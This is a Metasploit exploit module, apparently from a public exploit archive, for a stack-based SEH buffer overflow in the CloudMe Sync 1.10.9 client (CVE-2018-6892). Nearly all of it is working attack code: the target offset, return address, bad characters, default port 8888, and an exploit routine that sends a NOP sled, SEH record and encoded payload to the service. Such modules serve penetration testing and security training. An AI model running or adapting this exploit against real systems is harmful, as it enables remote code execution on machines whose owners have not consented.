CloudMe Sync 1.10.9 - Stack-Based Buffer Overflow (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CloudMe Sync v1.10.9',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability
        in CloudMe Sync v1.10.9 client application. This module has been
        tested successfully on Windows 7 SP1 x86.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'hyp3rlinx',      # Original exploit author
          'Daniel Teixeira' # MSF module author
        ],
      'References'     =>
        [
          [ 'CVE', '2018-6892'],
          [ 'EDB', '44027' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00",
        },
      'Targets'        =>
        [
          [ 'CloudMe Sync v1.10.9',
            {
              'Offset' => 2232,
              'Ret'    => 0x61e7b7f6
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Jan 17 2018',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(8888)])

  end

  def exploit
    connect

    buffer = make_nops(target['Offset'])
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded

    sock.put(buffer)
    handler
  end
end